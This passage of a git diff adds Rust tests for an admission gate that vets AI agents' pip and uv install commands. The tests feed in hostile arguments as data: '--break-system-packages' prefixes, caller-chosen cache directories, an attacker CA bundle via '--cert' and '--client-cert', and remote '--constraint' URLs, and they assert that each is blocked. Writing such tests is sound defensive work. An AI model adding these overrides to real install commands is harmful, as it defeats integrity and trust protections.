"pip".to_string(), + "install".to_string(), + "--no-python-downloads".to_string(), + format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]) +} + +fn approved_pypi_install_with_argv(argv: Vec) -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "Example Publisher".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-production".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![argv[0].clone()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pypi-artifact-variant".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs new file mode 100644 index 00000000..3d4ccfbb --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs @@ -0,0 +1,112 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const BREAK_SYSTEM_PACKAGES_OPTIONS: &[&str] = &[ + "--br", + "--bre", + "--brea", + "--break", + "--break-", + "--break-s", + "--break-sy", + "--break-sys", + "--break-syst", + "--break-syste", + "--break-system", + "--break-system-", + "--break-system-p", + "--break-system-pa", + "--break-system-pac", + "--break-system-pack", + "--break-system-packa", + "--break-system-packag", + "--break-system-package", + "--break-system-packages", +]; + +#[test] +fn approved_pip_install_cannot_disable_externally_managed_environment_protection() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding the externally-managed override" + ); + + for override_option in BREAK_SYSTEM_PACKAGES_OPTIONS { + let mut hostile = control_intent.clone(); + hostile.argv.push((*override_option).to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {override_option} disables pip's externally-managed installation protection and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "{executable} {override_option} must include the stable missing_safety_flag reason" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.4".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-break-system-packages-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs new file mode 100644 index 00000000..9b284a96 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs @@ -0,0 +1,154 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, sha256_hex, +}; + +#[test] +fn approved_pip_install_cannot_gain_caller_selected_cache_directory_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding cache-directory authority" + ); + + for cache_arguments in [ + vec!["--cache-dir=/tmp/wardnet-pip-cache"], + vec!["--cache-dir", "/tmp/wardnet-pip-cache"], + vec!["--ca=/tmp/wardnet-pip-cache"], + vec!["--ca", "/tmp/wardnet-pip-cache"], + ] { + let mut hostile = control_intent.clone(); + hostile.argv.extend( + cache_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {} grants caller-selected filesystem cache authority and must fail closed", + cache_arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{executable} {} must include the stable alternate_install_root reason", + cache_arguments.join(" ") + ); + } + } +} + +#[test] +fn valid_global_pip_cache_directory_options_remain_causal_write_authority_evidence() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + + for global_cache_arguments in [ + vec!["--cache-dir=/tmp/wardnet-pip-cache"], + vec!["--cache-dir", "/tmp/wardnet-pip-cache"], + ] { + let mut intent = control_intent.clone(); + let mut argv = Vec::with_capacity(intent.argv.len() + global_cache_arguments.len()); + argv.push(executable.to_string()); + argv.extend( + global_cache_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); + argv.extend(control_intent.argv.iter().skip(1).cloned()); + intent.argv = argv; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "parser-valid global {executable} {} must fail closed", + global_cache_arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "parser-valid global {executable} {} must retain causal cache-directory evidence: {:?}", + global_cache_arguments.join(" "), + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "the cache path consumed by pip General Options must not masquerade as an artifact operand: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "policy normalization must preserve the exact submitted argv audit identity" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.3".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-cache-dir-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs new file mode 100644 index 00000000..a8d541fb --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs @@ -0,0 +1,267 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn reviewed_pip_install_without_certificate_override_remains_admissible() { + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow, "{executable}"); + assert!(decision.reason_codes.is_empty(), "{executable}"); + } +} + +#[test] +fn pip_certificate_bundle_override_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + for certificate_bundle in [ + "/tmp/attacker-ca.pem", + "./workspace-ca.pem", + "/etc/ssl/private/alternate.pem", + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(format!("--cert={certificate_bundle}")); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let an approved package coordinate authorize a caller-selected certificate store" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "certificate-store authority must be classified explicitly: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn pip_certificate_bundle_unambiguous_prefix_is_explicit_trust_authority() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push("--ce=/tmp/attacker-ca.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{executable}"); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "pip's accepted --ce certificate-store prefix must remain explicit trust-authority evidence: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn pip_separate_certificate_prefix_value_is_explicit_trust_authority() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push("--ce".to_string()); + intent.argv.push("/tmp/attacker-ca.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{executable}"); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "pip's separate-value --ce prefix must be classified as trust authority independently of operand validation: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "the certificate-store value is authority metadata, not a package operand: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn pip_global_certificate_prefixes_are_explicit_trust_authority() { + for executable in ["pip", "pip3"] { + for selector in ["--ce", "--cer"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + selector.to_string(), + "/tmp/attacker-ca.pem".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let expected_command_sha256 = sha256_hex(intent.argv.join("\u{1f}").as_bytes()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {selector}" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "parser-valid global {selector} must be classified as certificate-store trust authority: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "the global certificate-store value is authority metadata, not a package operand: {:?}", + decision.reason_codes + ); + assert_eq!(decision.command_sha256, expected_command_sha256); + } + } +} + +#[test] +fn pip_global_attached_certificate_prefixes_are_explicit_trust_authority() { + for executable in ["pip", "pip3"] { + for selector in ["--ce", "--cer"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + format!("{selector}=/tmp/attacker-ca.pem"), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let expected_command_sha256 = sha256_hex(intent.argv.join("\u{1f}").as_bytes()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {selector}" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "parser-valid attached global {selector} must be classified as certificate-store trust authority: {:?}", + decision.reason_codes + ); + assert_eq!(decision.command_sha256, expected_command_sha256); + } + } +} + +#[test] +fn pip_separate_certificate_value_is_classified_as_alternate_trust_authority() { + let (policy, mut intent) = approved_pip_install("pip"); + intent.argv.push("--cert".to_string()); + intent.argv.push("/tmp/attacker-ca.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "an extra-operand rejection alone must not hide the certificate-store override: {:?}", + decision.reason_codes + ); +} + +#[test] +fn repeated_pip_certificate_overrides_emit_one_trust_reason() { + let (policy, mut intent) = approved_pip_install("pip"); + intent.argv.extend([ + "--cert=/tmp/first.pem".to_string(), + "--cert=/tmp/second.pem".to_string(), + "--trusted-host=pypi.org".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision + .reason_codes + .iter() + .filter(|reason| **reason == ReasonCode::AlternateTrustRoot) + .count(), + 1 + ); +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-certificate-store-trust".to_string(), + policy_revision: "2026-09-10.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-cert-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs new file mode 100644 index 00000000..1cc19373 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_client_certificate_authority_contract.rs @@ -0,0 +1,278 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn reviewed_pip_install_without_client_certificate_override_remains_admissible() { + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + } +} + +#[test] +fn pip_client_certificate_override_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent + .argv + .push("--client-cert=/tmp/attacker-client.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let an approved artifact authorize a caller-selected TLS client credential" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "client-certificate authority must be classified explicitly: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn pip_client_certificate_unambiguous_prefix_cannot_inherit_artifact_approval() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent + .argv + .push("--cl=/tmp/attacker-client.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must classify pip's unambiguous --client-cert prefix before execution" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "pip's accepted --cl client-certificate prefix must remain explicit trust-authority evidence: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn pip_separate_client_certificate_value_is_explicitly_classified_as_trust_authority() { + for executable in ["pip", "pip3"] { + for option in ["--client-cert", "--cl"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(option.to_string()); + intent.argv.push("/tmp/attacker-client.pem".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} separate {option} syntax must fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate {option} syntax must be classified as trust authority rather than relying only on positional-operand rejection: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn pip_global_client_certificate_authority_before_install_is_explicitly_classified() { + for executable in ["pip", "pip3"] { + for option in [ + "--client-cert=/tmp/attacker-client.pem", + "--cl=/tmp/attacker-client.pem", + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + option.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} global {option} syntax must fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "{executable} global {option} must be classified as caller-selected TLS credential authority: {:?}", + decision.reason_codes + ); + } + } +} + +#[test] +fn pip_global_separate_client_certificate_value_is_explicitly_classified() { + for executable in ["pip", "pip3"] { + for option in ["--client-cert", "--cl"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + option.to_string(), + "/tmp/attacker-client.pem".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} global separate {option} syntax must fail closed" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "{executable} global separate {option} must be classified explicitly rather than relying on command or operand rejection: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "{executable} global separate {option} must consume its client-certificate value as option grammar rather than manufacture an undeclared package finding: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "{executable} reviewed safety flags must remain visible after global client-certificate normalization: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "internal normalization must preserve the exact caller-submitted argv audit identity" + ); + } + } +} + +#[test] +fn pip_global_separate_client_certificate_still_exposes_a_real_extra_artifact() { + for executable in ["pip", "pip3"] { + for option in ["--client-cert", "--cl"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + option.to_string(), + "/tmp/attacker-client.pem".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "unapproved-extra==9.9.9".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "{executable} global separate {option} must retain the explicit client-certificate trust finding: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "{executable} global separate {option} must not hide a genuine extra package operand: {:?}", + decision.reason_codes + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-client-certificate-authority".to_string(), + policy_revision: "2026-09-10.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-client-cert-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs new file mode 100644 index 00000000..607a649d --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs @@ -0,0 +1,223 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn pypi_install_cannot_import_unreviewed_constraint_authority() { + let cases: [(&str, &[&str]); 21] = [ + ("pip", &["--constraint=https://x.invalid/c.txt"]), + ("pip", &["--constraint", "https://x.invalid/c.txt"]), + ("pip", &["--cons=https://x.invalid/c.txt"]), + ("pip", &["--cons", "https://x.invalid/c.txt"]), + ("pip3", &["-chttps://x.invalid/c.txt"]), + ("pip3", &["-c", "https://x.invalid/c.txt"]), + ("pip", &["--build-constraint=https://x.invalid/b.txt"]), + ("pip", &["--build-constraint", "https://x.invalid/b.txt"]), + ("pip", &["--build-c=https://x.invalid/b.txt"]), + ("pip", &["--build-c", "https://x.invalid/b.txt"]), + ("uv", &["--constraint=https://x.invalid/c.txt"]), + ("uv", &["--constraint", "https://x.invalid/c.txt"]), + ("uv", &["--constraints=https://x.invalid/c.txt"]), + ("uv", &["--constraints", "https://x.invalid/c.txt"]), + ("uv", &["-chttps://x.invalid/c.txt"]), + ("uv", &["-c", "https://x.invalid/c.txt"]), + ("uv", &["--build-constraint=https://x.invalid/b.txt"]), + ("uv", &["--build-constraint", "https://x.invalid/b.txt"]), + ("uv", &["--build-constraints=https://x.invalid/b.txt"]), + ("uv", &["-bhttps://x.invalid/b.txt"]), + ("uv", &["-b", "https://x.invalid/b.txt"]), + ]; + + for (executable, arguments) in cases { + let (policy, mut intent) = approved_pypi_install(executable); + intent + .argv + .extend(arguments.iter().map(|argument| (*argument).to_string())); + + let decision = admission_decision(&policy, &intent); + let invocation = arguments.join(" "); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {invocation} must not let an unreviewed constraints document influence the approved artifact/build identity" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} {invocation} must report that the external constraint authority is outside the reviewed artifact set" + ); + } +} + +#[test] +fn direct_exact_pypi_install_without_constraint_authority_remains_allowed() { + for executable in ["pip", "pip3", "uv"] { + let (policy, intent) = approved_pypi_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow, "{executable}"); + assert!(decision.reason_codes.is_empty(), "{executable}"); + } +} + +#[test] +fn uv_global_options_preserve_constraint_causal_evidence() { + let (policy, mut intent) = approved_pypi_install("uv"); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--constraint=https://x.invalid/c.txt".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "global-option uv grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "parser-valid uv global options must not erase external constraint authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_parser_controls_do_not_fabricate_constraint_authority() { + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + ARTIFACT_ARGUMENT, + "--require-hashes", + "--no-deps", + "--no-python-downloads", + "--constrain=https://x.invalid/c.txt", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + ARTIFACT_ARGUMENT, + "--constraint=https://x.invalid/c.txt", + ], + ] { + let (policy, mut intent) = approved_pypi_install("uv"); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "nearby spelling or non-install uv grammar must not inherit 